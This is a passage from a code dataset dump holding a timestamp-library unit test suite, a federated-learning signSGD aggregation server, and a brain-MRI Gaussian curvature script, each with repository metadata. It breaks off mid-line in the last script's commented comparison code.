_get_tz_delta(self, dt: datetime) -> float:\n return tz.tzlocal().utcoffset(dt).total_seconds()\n\n def test_from_ms(self):\n ts = TS(ts=self.INT_BASE_ROUND_MS_TS + 500, prec=\"ms\")\n self.assertEqual(ts, self.INT_BASE_TS + 0.5)\n # round up\n ts = TS(ts=self.INT_BASE_ROUND_MS_TS + 501, prec=\"ms\")\n self.assertEqual(ts, self.INT_BASE_TS + 0.501)\n\n def test_from_ms_str(self):\n ts = TS(ts=str(self.INT_BASE_ROUND_MS_TS + 500), prec=\"ms\")\n self.assertEqual(ts, self.INT_BASE_TS + 0.5)\n # round up\n ts = TS(ts=self.INT_BASE_ROUND_MS_TS + 501, prec=\"ms\")\n self.assertEqual(ts, self.INT_BASE_TS + 0.501)\n\n def test_TSMsec_nominal(self):\n ts = TSMsec(ts=str(self.INT_BASE_ROUND_MS_TS + 500))\n self.assertEqual(ts, self.INT_BASE_TS + 0.5)\n # round up\n ts = TS(ts=self.INT_BASE_ROUND_MS_TS + 501, prec=\"ms\")\n self.assertEqual(ts, self.INT_BASE_TS + 0.501)\n\n def test_from_float_str(self):\n ts = TS(ts=\"1519855200.123856\", prec=\"s\")\n self.assertEqual(ts, self.FLOAT_MS_TS)\n\n def test_from_int_str(self):\n ts = TS(ts=\"1519855200\")\n self.assertEqual(ts, 1519855200)\n\n def test_to_int(self):\n ts = TS(ts=self.INT_BASE_ROUND_MS_TS + 500, prec=\"ms\")\n self.assertEqual(int(ts), self.INT_BASE_TS)\n # round up\n ts = TS(ts=self.INT_BASE_ROUND_MS_TS + 501, prec=\"ms\")\n self.assertEqual(int(ts), self.INT_BASE_TS + 1)\n\n def test_as_iso(self):\n ts = TS(ts=self.INT_BASE_TS)\n self.assertEqual(ts.as_iso, self.STR_SEC_TS)\n ts = TS(ts=self.INT_BASE_TS)+0.123456\n self.assertEqual(ts.as_iso, \"2018-02-28T22:00:00.123456Z\")\n\n def test_as_iso_tz_standard(self):\n ts = TS(\"2018-03-01T00:00:00Z\")\n res = ts.as_iso_tz(pytz.timezone(\"Europe/Bucharest\"))\n self.assertEqual(res, \"2018-03-01T02:00:00+02:00\")\n res = ts.as_iso_tz(\"Europe/Bucharest\")\n self.assertEqual(res, \"2018-03-01T02:00:00+02:00\")\n\n def test_as_iso_tz_DST(self):\n ts = TS(\"2020-06-01T10:00:00Z\")\n res = ts.as_iso_tz(pytz.timezone(\"Europe/Bucharest\"))\n self.assertEqual(res, \"2020-06-01T13:00:00+03:00\")\n\n def test_as_file_ts(self):\n ts = TS(ts=self.INT_BASE_TS)\n self.assertEqual(ts.as_file_ts, self.AS_FILE_SEC_TS)\n\n def test_to_str(self):\n ts = TS(ts=self.INT_BASE_TS)\n self.assertEqual(str(ts), '2018-02-28T22:00:00Z')\n float_ts = TS(ts=self.FLOAT_MS_TS)\n self.assertEqual(str(float_ts), '2018-02-28T22:00:00.123856Z')\n\n def test_input_float_rounds(self):\n # round down\n ts = TS(ts=1519855200.123456)\n self.assertEqual(ts.as_ms, 1519855200123)\n # round up\n ts = TS(ts=1519855200.123856)\n self.assertEqual(ts.as_ms, 1519855200124)\n\n def test_as_str_ms(self):\n ts = TS(ts=self.INT_BASE_MS_TS, prec=\"ms\")\n self.assertEqual(ts.as_iso, self.STR_MSEC_TS)\n\n def test_convert_from_str(self):\n ts = TS(ts=\"2018-02-28T22:00:00Z\")\n self.assertEqual(ts, self.INT_BASE_TS)\n ts = TS(ts=\"2018-02-28T22:00:00+00:00\")\n self.assertEqual(ts, self.INT_BASE_TS)\n\n def test_convert_from_str_with_TZ_2(self):\n ts = TS(ts=\"2018-02-28T22:00:00+01:30\")\n self.assertEqual(ts, self.INT_BASE_TS - 1.5 * 3600)\n\n def test_convert_from_ms_str_local_time(self):\n tz_delta_in_sec = self._get_tz_delta(datetime(2018, 2, 28))\n ts = TS(ts=\"2018-02-28T22:00:00.123\", utc=False) + tz_delta_in_sec\n utc_ms_ts = TS(\"2018-02-28T22:00:00.123Z\")\n self.assertEqual(utc_ms_ts, ts)\n\n def test_convert_from_ms_str_with_TZ_0(self):\n ts = TS(ts=\"2018-02-28T22:00:00.123+00:00\")\n self.assertEqual(ts, self.INT_BASE_MS_TS / 1000)\n\n ts = TS(ts=\"2018-02-28T22:00:00.123Z\")\n self.assertEqual(ts, self.INT_BASE_MS_TS / 1000)\n\n def test_math_ops(self):\n ts = TS(ts=1519855200)\n self.assertEqual((ts + 20).as_ms, 1519855220000)\n self.assertEqual(TS(20 + ts).as_ms, 1519855220000)\n self.assertEqual((ts - 0.5).as_ms, 1519855199500)\n\n def test_as_iso_date(self):\n ts = TS(ts=self.INT_BASE_TS)\n self.assertEqual(ts.as_iso_date, \"2018-02-28\")\n\n def test_as_iso_date_basic(self):\n ts = TS(ts=self.INT_BASE_TS)\n self.assertEqual(ts.as_iso_date_basic, \"20180228\")\n self.assertEqual(ts.as_file_date, \"20180228\")\n\n def test_repr(self):\n ts = TS(ts=self.INT_BASE_TS)\n self.assertEqual(repr(ts), \"TS('2018-02-28T22:00:00Z')\")\n\n def test_from_iso(self):\n ts = TS.from_iso(\"2018-02-28\")\n self.assertEqual(ts, TS(\"2018-02-28T00:00:00Z\"))\n ts = TS.from_iso(\"2018-02-28\", utc=False)\n self.assertEqual(ts, TS(\"2018-02-28T00:00:00\", utc=False))\n\n ts = TS.from_iso(\"20180228\")\n self.assertEqual(ts, TS(\"2018-02-28T00:00:00Z\"))\n\n ts = TS.from_iso(\"2018-02-28T22:00:00+00:00\")\n self.assertEqual(ts, TS(\"2018-02-28T22:00:00Z\"))\n\n ts = TS.from_iso(\"2018-02-28T00:00:00+02:00\")\n self.assertEqual(ts, TS(\"2018-02-27T22:00:00Z\"))\n # ts = TS.from_iso(\"2018\")\n # self.assertEqual(ts, TS(\"2018-01-01T00:00:00Z\"))\n ts = TS.from_iso(\"2018-02\")\n self.assertEqual(ts, TS(\"2018-02-01T00:00:00Z\"))\n\n def test_floor_over_ms(self):\n ts = TS.from_iso(\"2018-02-28\")\n ts_to_floor = ts + 1.99\n expected = ts + 1.9\n floored = ts_to_floor.floor(unit=0.100000000000001)\n self.assertEqual(expected, floored)\n\n floored = ts_to_floor.floor(unit=0.099999999999999999999)\n self.assertEqual(expected, floored)\n\n ts_to_floor = ts + 2.999999999999999999999999999999999999\n expected = ts + 2\n floored = ts_to_floor.floor(unit=2.0)\n self.assertEqual(expected, floored)\n\n def test_floor_1ms(self):\n ts = TS.from_iso(\"2018-02-28\")\n ts_to_floor = ts + 1.1119\n expected = ts + 1.111\n\n floored = ts_to_floor.floor(unit=0.001)\n self.assertEqual(expected, floored)\n\n floored = ts_to_floor.floor(unit=0.001000001)\n self.assertEqual(expected, floored)\n\n floored = ts_to_floor.floor(unit=0.000999)\n self.assertEqual(expected, floored)\n\n def test_ceil_over_ms(self):\n ts = TS.from_iso(\"2018-02-28\")\n ts_to_ceil = ts + 1.000001\n expected = ts + 1.1\n # ceil to 100ms\n ceiled = ts_to_ceil.ceil(unit=0.100000000000001)\n self.assertEqual(expected, ceiled)\n\n ceiled = ts_to_ceil.ceil(unit=0.099999999999999999999)\n self.assertEqual(expected, ceiled)\n\n ts_to_ceil = ts + 2.000001\n expected = ts + 4\n ceiled = ts_to_ceil.ceil(unit=2.0)\n self.assertEqual(expected, ceiled)\n\n ts_to_ceil = ts + 2.0000001\n expected = ts + 2\n ceiled = ts_to_ceil.ceil(unit=2.0)\n self.assertEqual(expected, ceiled)\n\n def test_weekday(self):\n ts = TS.from_iso(\"2022-12-07T00:00:01\")\n self.assertEqual(ts.weekday(), 2)\n ts = TS.from_iso(\"2022-12-07T00:00:00+02\", utc=False)\n self.assertEqual(ts.weekday(utc=False), 2)\n self.assertEqual(ts.weekday(), 1)\n\n def test_isoweekday(self):\n ts = TS.from_iso(\"2022-12-07T00:00:01\")\n self.assertEqual(ts.isoweekday(), 3)\n ts = TS.from_iso(\"2022-12-07T00:00:00+02\", utc=False)\n self.assertEqual(ts.isoweekday(utc=False), 3)\n self.assertEqual(ts.isoweekday(), 2)\n\n def test_default_utc(self):\n expected = TS.from_iso(\"2022-12-07T00:00:00Z\")\n ts = TS(\"2022-12-07T00:00:00\")\n self.assertEqual(expected, ts)\n ts = TS(\"20221207\")\n self.assertEqual(expected, ts)\n t = time()\n print(t)\n\n def test_local(self):\n unix_ts = int(time())\n lt = localtime(unix_ts)\n iso_str = strftime(\"%Y-%m-%dT%H:%M:%S\", lt)\n local_ts = TS(iso_str, utc=False)\n self.assertEqual(TS(unix_ts), local_ts)\n\n def test_from_numpy_numbers(self):\n n = np.int64(1519855200000)\n ts = TS(ts=n, prec=\"ms\")\n self.assertEqual(ts, 1519855200)\n ts = TS(ts=np.float64(1519855200.123))\n self.assertEqual(ts, 1519855200.123)\n\n def test_local_dt_has_tzinfo(self):\n ts = TS(\"2022-12-07T00:00:00\")\n local_tzinfo = datetime(2022, 12, 7).astimezone().tzinfo\n self.assertTrue(ts.as_local_dt().tzinfo is not None)\n self.assertEqual(ts.as_local_dt().tzinfo, local_tzinfo)\n\n def test_dt_has_tzinfo_in_utc(self):\n ts = TS(\"2022-12-07T00:00:00Z\")\n self.assertEqual(ts.as_dt().tzinfo, timezone.utc)\n\n def test_TSMsec_from_iso(self):\n ts_ms = TSMsec(\"2022-12-07T00:00:00.123456Z\")\n self.assertEqual(float(ts_ms), 1670371200.123456)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "repo_name": "asuiu/tsx", "sub_path": "tests/test_ts.py", "file_name": "test_ts.py", "file_ext": "py", "file_size_in_byte": 9506, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "unittest.TestCase", "line_number": 21, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 30, "usage_type": "name"}, {"api_name": "dateutil.tz.tzlocal", "line_number": 31, "usage_type": "call"}, {"api_name": "dateutil.tz", "line_number": 31, "usage_type": "name"}, {"api_name": "tsx.TS", "line_number": 34, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 37, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 41, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 44, "usage_type": "call"}, {"api_name": "tsx.TSMsec", "line_number": 48, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 51, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 55, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 59, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 63, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 66, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 70, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 72, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 76, "usage_type": "call"}, {"api_name": "pytz.timezone", "line_number": 77, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 83, "usage_type": "call"}, {"api_name": "pytz.timezone", "line_number": 84, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 88, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 92, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 94, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 99, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 102, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 106, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 110, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 112, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 116, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 120, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 121, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 122, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 126, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 129, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 133, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 135, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 139, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 143, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 148, "usage_type": "call"}, {"api_name": "tsx.TS.from_iso", "line_number": 152, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 152, "usage_type": "name"}, {"api_name": "tsx.TS", "line_number": 153, "usage_type": "call"}, {"api_name": "tsx.TS.from_iso", "line_number": 154, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 154, "usage_type": "name"}, {"api_name": "tsx.TS", "line_number": 155, "usage_type": "call"}, {"api_name": "tsx.TS.from_iso", "line_number": 157, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 157, "usage_type": "name"}, {"api_name": "tsx.TS", "line_number": 158, "usage_type": "call"}, {"api_name": "tsx.TS.from_iso", "line_number": 160, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 160, "usage_type": "name"}, {"api_name": "tsx.TS", "line_number": 161, "usage_type": "call"}, {"api_name": "tsx.TS.from_iso", "line_number": 163, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 163, "usage_type": "name"}, {"api_name": "tsx.TS", "line_number": 164, "usage_type": "call"}, {"api_name": "tsx.TS.from_iso", "line_number": 167, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 167, "usage_type": "name"}, {"api_name": "tsx.TS", "line_number": 168, "usage_type": "call"}, {"api_name": "tsx.TS.from_iso", "line_number": 171, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 171, "usage_type": "name"}, {"api_name": "tsx.TS.from_iso", "line_number": 186, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 186, "usage_type": "name"}, {"api_name": "tsx.TS.from_iso", "line_number": 200, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 200, "usage_type": "name"}, {"api_name": "tsx.TS.from_iso", "line_number": 221, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 221, "usage_type": "name"}, {"api_name": "tsx.TS.from_iso", "line_number": 223, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 223, "usage_type": "name"}, {"api_name": "tsx.TS.from_iso", "line_number": 228, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 228, "usage_type": "name"}, {"api_name": "tsx.TS.from_iso", "line_number": 230, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 230, "usage_type": "name"}, {"api_name": "tsx.TS.from_iso", "line_number": 235, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 235, "usage_type": "name"}, {"api_name": "tsx.TS", "line_number": 236, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 238, "usage_type": "call"}, {"api_name": "time.time", "line_number": 240, "usage_type": "call"}, {"api_name": "time.time", "line_number": 244, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 245, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 246, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 247, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 251, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 252, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 254, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 258, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 259, "usage_type": "call"}, {"api_name": "tsx.TS", "line_number": 264, "usage_type": "call"}, {"api_name": "datetime.timezone.utc", "line_number": 265, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 265, "usage_type": "name"}, {"api_name": "tsx.TSMsec", "line_number": 268, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 273, "usage_type": "call"}]} {"seq_id": "14576592942", "text": "from Common.Server.fl_grpc_server import FlGrpcServer\nfrom Common.Grpc.fl_grpc_pb2 import signSGD_Response\nfrom Common.Handler.handler import Handler\nfrom Common.Utils.edcode import encode, decode\nimport Common.config as config\nfrom Common.Model.LeNet import LeNet\nfrom Common.Model.ResNet import ResNet, BasicBlock\nimport numpy as np\nimport torch\nfrom Common.Utils.options import args_parser\n\nclass ClearSignSGDServer(FlGrpcServer):\n def __init__(self, address, port, config, handler):\n super(ClearSignSGDServer, self).__init__(config=config)\n self.address = address\n self.port = port\n self.config = config\n self.handler = handler\n\n def Update_SignSGD(self, request, context):\n data_dict = {request.id: request.sgn_ori}\n print(\"have received:\", data_dict.keys())\n rst = super().process(dict_data=data_dict, handler=self.handler.computation)\n return signSGD_Response(sgn_upd=rst)\n\n\nclass SignSGDGradientHandler(Handler):\n def __init__(self, num_workers, model, root_data, optimizer, loss_func):\n super(SignSGDGradientHandler, self).__init__()\n self.num_workers = num_workers\n self.root_data = root_data\n self.optimizer = optimizer \n self.loss_func = loss_func\n self.device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n self.model = model.to(self.device)\n self._gradients = None\n self._level_length = None\n self._grad_len = 0\n \n def train_step(self, x, y):\n \"\"\" Find the update gradient of each step in collaborative learning \"\"\"\n x = x.to(self.device)\n y = y.to(self.device)\n\n y_hat = self.model(x)\n loss = self.loss_func(y_hat, y)\n self.optimizer.zero_grad()\n loss.backward()\n\n self._gradients = []\n self._level_length = [0]\n\n for param in self.model.parameters():\n self._level_length.append(param.grad.numel() + self._level_length[-1])\n self._gradients += param.grad.view(-1).numpy().tolist()\n\n self._grad_len = len(self._gradients)\n\n def root_grad_comp(self):\n for X, y in self.root_data:\n self.train_step(X, y)\n root_sgn = np.where(np.array(self._gradients)>=0, 0, 1)\n self._gradients = None\n return root_sgn\n\n def root_model_update(self, grad):\n idx = 0\n for param in self.model.parameters():\n tmp = grad[self._level_length[idx]:self._level_length[idx + 1]]\n grad_re = torch.tensor(tmp, device=self.device)\n grad_re = grad_re.view(param.grad.size())\n\n param.grad = grad_re\n idx += 1\n self.optimizer.step()\n\n def computation(self, data_in):\n #self.root_grad = root_train(self.root_data, self.model)\n root_sgn = self.root_grad_comp()\n grad_in = np.array(data_in).reshape((self.num_workers, -1)).astype(int)\n assert grad_in.shape[1] == root_sgn.shape[0]\n T = []\n for i in range(self.num_workers):\n hamming_distance_i = np.logical_xor(root_sgn, grad_in[i]).astype(int).sum(axis=0)\n #T.append(hamming_distance / self._grad_len)\n \n if hamming_distance_i >= (self._grad_len // 2):\n T.append(1)\n else:\n T.append(self._grad_len // 2 - hamming_distance_i)\n \n print(T)\n scaler = (1.0 / sum(T)) \n weight_sgn = 0\n for i in range(self.num_workers):\n weight_sgn += T[i] * (1 - 2 * grad_in[i])\n grad_agg = (scaler * weight_sgn).tolist()\n self.root_model_update(grad=grad_agg)\n print('model update')\n return grad_agg\n\n\nif __name__ == \"__main__\":\n args = args_parser()\n PATH = './Model/ResNet20'\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n model = ResNet(BasicBlock, [3,3,3]).to(device)\n model.load_state_dict(torch.load(PATH))\n loss_func = torch.nn.CrossEntropyLoss()\n data_path = torch.load('/home/dy/Data/CIFAR10/server_data.pt')\n root_data = torch.utils.data.DataLoader(data_path, batch_size=100, shuffle=True, num_workers=0)\n opt = torch.optim.Adam(model.parameters(), lr=args.lr)\n gradient_handler = SignSGDGradientHandler(num_workers=config.num_workers, model=model, root_data=root_data, optimizer = opt, loss_func=loss_func)\n\n clear_server = ClearSignSGDServer(address=config.server1_address, port=config.port1, config=config,\n handler=gradient_handler)\n clear_server.start()\n", "repo_name": "Ye-D/CryptoFL", "sub_path": "Clear-Agg-Eva/clearflod_server.py", "file_name": "clearflod_server.py", "file_ext": "py", "file_size_in_byte": 4560, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "78", "api": [{"api_name": "Common.Server.fl_grpc_server.FlGrpcServer", "line_number": 12, "usage_type": "name"}, {"api_name": "Common.config", "line_number": 14, "usage_type": "name"}, {"api_name": "Common.config", "line_number": 17, "usage_type": "name"}, {"api_name": "Common.Grpc.fl_grpc_pb2.signSGD_Response", "line_number": 24, "usage_type": "call"}, {"api_name": "Common.Handler.handler.Handler", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 34, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.logical_xor", "line_number": 84, "usage_type": "call"}, {"api_name": "Common.Utils.options.args_parser", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 106, "usage_type": "attribute"}, {"api_name": "Common.Model.ResNet.ResNet", "line_number": 107, "usage_type": "call"}, {"api_name": "Common.Model.ResNet.BasicBlock", "line_number": 107, "usage_type": "argument"}, {"api_name": "torch.load", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 109, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 111, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 112, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 112, "usage_type": "attribute"}, {"api_name": "Common.config.num_workers", "line_number": 113, "usage_type": "attribute"}, {"api_name": "Common.config", "line_number": 113, "usage_type": "name"}, {"api_name": "Common.config.server1_address", "line_number": 115, "usage_type": "attribute"}, {"api_name": "Common.config", "line_number": 115, "usage_type": "name"}, {"api_name": "Common.config.port1", "line_number": 115, "usage_type": "attribute"}]} {"seq_id": "33853463469", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"\n ©\n Author: Karim Makki\n\"\"\"\n\n### Reference: \"Makki, K, Ben Salem, Douraied and Ben Amor, Boulbaba. \"Towards the assessment of intrinsic geometry of implicit brain MRI manifolds.\" IEEE Access (2021)\"\n\nimport trimesh\nimport numpy as np\nimport nibabel as nib\nimport os\nfrom scipy.ndimage.filters import gaussian_filter\nimport argparse\nimport timeit\nimport fast_Gaussian_curvature_3D as g3D\n\n## Import tools for computing curvature on explicit surfaces (for comparison purposes)\nimport slam_curvature as scurv\nimport CurvatureCubic as ccurv\nimport CurvatureWpF as WpFcurv\nimport CurvatureISF as ISFcurv\nfrom trimesh import curvature\nimport DiffGeoOps as diffgeo\n\n\ndef load_mesh(gii_file):\n \"\"\"\n load gifti_file and create a trimesh object\n :param gifti_file: str, path to the gifti file\n :return: the corresponding trimesh object\n \"\"\"\n g = nib.gifti.read(gii_file)\n vertices, faces = g.getArraysFromIntent(nib.nifti1.intent_codes['NIFTI_INTENT_POINTSET'])[0].data, \\\n g.getArraysFromIntent(nib.nifti1.intent_codes['NIFTI_INTENT_TRIANGLE'])[0].data\n metadata = g.get_meta().metadata\n metadata['filename'] = gii_file\n\n return trimesh.Trimesh(faces=faces, vertices=vertices,\n metadata=metadata, process=False)\n\n\ndef map_coordinates(verts,aff):\n\n coords = np.zeros(verts.shape)\n coords[:,0] = aff[0,0]*verts[:,0] + aff[0,1]*verts[:,1] + aff[0,2]*verts[:,2] + aff[0,3]\n coords[:,1] = aff[1,0]*verts[:,0] + aff[1,1]*verts[:,1] + aff[1,2]*verts[:,2] + aff[1,3]\n coords[:,2] = aff[2,0]*verts[:,0] + aff[2,1]*verts[:,1] + aff[2,2]*verts[:,2] + aff[2,3]\n\n return coords\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('-in', '--mask', help='3D shape binary mask, as NIFTI file', type=str, required = True)\n parser.add_argument('-m', '--mesh', help='surface mesh generated by FreeSurfer, which corresponds to the mask nifti file, \\\n as GIFTI file', type=str, required = True)\n parser.add_argument('-o', '--output', help='output directory', type=str, default = './Gaussian_curvature_results3D')\n parser.add_argument('-dmap', '--dmap', help='distance_map: 0 if Euclidean, 1 if geodesic distance map, and 2 if binary step function', type=int, default = 1)\n\n args = parser.parse_args()\n\n # Example of use : python3 Gauss_curv_4_Freesurfer_output.py -in /home/karim/Bureau/Courbure/data/Guillaume_data/rh_white.nii.gz\n #-m /home/karim/Bureau/Courbure/data/Guillaume_data/rh.white.gii\n\n output_path = args.output\n\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n\n nii = nib.load(args.mask)\n\n shape = nii.get_data()\n\n affine = nii.affine\n\n\n start_time = timeit.default_timer()\n\n shape, dx, dy, dz = g3D.bbox_3D(shape)\n\n\n if (args.dmap == 1):\n\n phi = g3D.phi(shape) ## signed geodesic distance\n\n elif (args.dmap == 2):\n\n phi = g3D.phi_binary(shape) ## binary step function\n\n else:\n\n phi = g3D.phi_Euclidean(shape) ## signed Euclidean distance\n\n\n gaussian_filter(phi, sigma=2, output=phi) ## smoothing of the level set signed distance function\n\n#################### Computation of Gaussian curvature ###################\n phi_grad, hessian = g3D.hessian(phi)\n Ha = g3D.hessian_adjoint(hessian)\n Gaussian_curvature = g3D.Gaussian_curvature(phi_grad, Ha)\n############################################################################\n\n elapsed = timeit.default_timer() - start_time\n print(\"The proposed method takes (in seconds):\\n\")\n print(elapsed)\n\n # Loading input mesh\n\n mesh = load_mesh(args.mesh)\n ## Express vertex coordinates in the image coordinate system\n verts = map_coordinates(mesh.vertices,np.linalg.inv(affine))\n\n #faces = mesh.faces\n #normals = mesh.vertex_normals\n\n verts = g3D.align_origin(verts,dx,dy,dz) ### Align origin with the origin of the bounding box\n\n ### Affect per-vertex curvature values, by interpolation\n\n #gaussian_curv = g3D.texture_nearest_neigh_interpolation3D(verts, Gaussian_curvature)\n #gaussian_curv = g3D.texture_mean_avg_interpolation3D(verts, Gaussian_curvature)\n gaussian_curv = g3D.texture_spline_interpolation3D(verts, Gaussian_curvature)\n\n verts = g3D.align_origin_back(verts,dx,dy,dz) ### Re-align origin \"back\" with the origin of the original image\n\n #### Save results as numpy array\n\n res = np.append(verts,gaussian_curv[...,None],axis=1)\n np.save(os.path.join(output_path, \"gaussian_curv.npy\"), res)\n print(res.shape)\n\n ## Display result\n #m = trimesh.Trimesh(vertices=mesh.vertices, faces=mesh.faces)\n mesh.export(os.path.join(output_path, \"surface_mesh.ply\"))\n\n g3D.display_mesh(mesh.vertices, mesh.faces, mesh.vertex_normals, gaussian_curv, os.path.join(output_path, \"Gaussian_curature_Makki.png\"))\n\n\n##To compare results with other methods defining the surface explicitly, please comment/uncomment the following blocks ###############\n\n# #######################################################################################################################################\n# ############### To compare results with the Trimesh Gaussian curvature, please uncomment this block ##################################\n#\n# start_time = timeit.default_timer()\n#\n# #tr_gaussian_curv = curvature.discrete_gaussian_curvature_measure(m, m.vertices, 2)\n# tr_gaussian_curv = curvature.discrete_gaussian_curvature_measure(mesh, mesh.vertices, 2)\n#\n# elapsed = timeit.default_timer() - start_time\n#\n# print(\"The Trimesh method takes (in seconds):\\n\")\n#\n# print(elapsed)\n#\n# g3D.display_mesh(mesh.vertices, mesh.faces, mesh.vertex_normals, tr_gaussian_curv, os.path.join(output_path, \"Gaussian_curvature_Trimesh.png\"))\n#\n# ########################################################################################################################################\n#\n# #######################################################################################################################################\n# ##### To compare results with the Rusinkiewicz (v1) Gaussian curvature, please uncomment this block ###################################\n#\n# start_time = timeit.default_timer()\n# # Comptue estimations of principal curvatures\n# PrincipalCurvatures, PrincipalDir1, PrincipalDir2 = scurv.curvatures_and_derivatives(mesh)\n# gaussian_curv = PrincipalCurvatures[0, :] * PrincipalCurvatures[1, :]\n#\n# elapsed = timeit.default_timer() - start_time\n#\n# print(\"The Rusinkiewicz method v1 takes (in seconds):\\n\")\n# print(elapsed)\n#\n# #gaussian_filter(gaussian_curv, sigma=1, output=gaussian_curv)\n# g3D.display_mesh(mesh.vertices, mesh.faces, mesh.vertex_normals, gaussian_curv, os.path.join(output_path, \"Gaussian_curvature_Rusinkiewicz_v1.png\"))\n# #########################################################################################################################################\n#\n#\n# #########################################################################################################################################\n# ##### To compare results with the Rusinkiewicz (v2) Gaussian curvature, please uncomment this block #####################################\n# ########################### Note that the second version is quite faster than the first ################################################\n#\n# start_time = timeit.default_timer()\n#\n# #K,H,VN = WpFcurv.GetCurvatures(m.vertices,m.faces)\n# gaussian_curv = WpFcurv.GetCurvatures(mesh.vertices, mesh.faces)[0]\n#\n# elapsed = timeit.default_timer() - start_time\n#\n#\n# print(\"The Rusinkiewicz method v2 takes (in seconds):\\n\")\n# print(elapsed)\n# #print(np.min(gaussian_curv),np.max(gaussian_curv), np.sqrt(np.absolute(np.mean(gaussian_curv)-(1/R**2))))\n#\n# #gaussian_filter(gaussian_curv, sigma=1, output=gaussian_curv)\n# g3D.display_mesh(mesh.vertices, mesh.faces, mesh.vertex_normals, gaussian_curv, os.path.join(output_path, \"Gaussian_curvature_Rusinkiewicz_v2.png\"))\n# #########################################################################################################################################\n#\n#\n# #########################################################################################################################################\n# ##### To compare results with those of the cubic order algorithm, please uncomment this block ###########################################\n#\n# start_time = timeit.default_timer()\n#\n# #K,H,VN = ccurv.CurvatureCubic(m.vertices,m.faces)\n# gaussian_curv = ccurv.CurvatureCubic(mesh.vertices,mesh.faces)[0]\n#\n# elapsed = timeit.default_timer() - 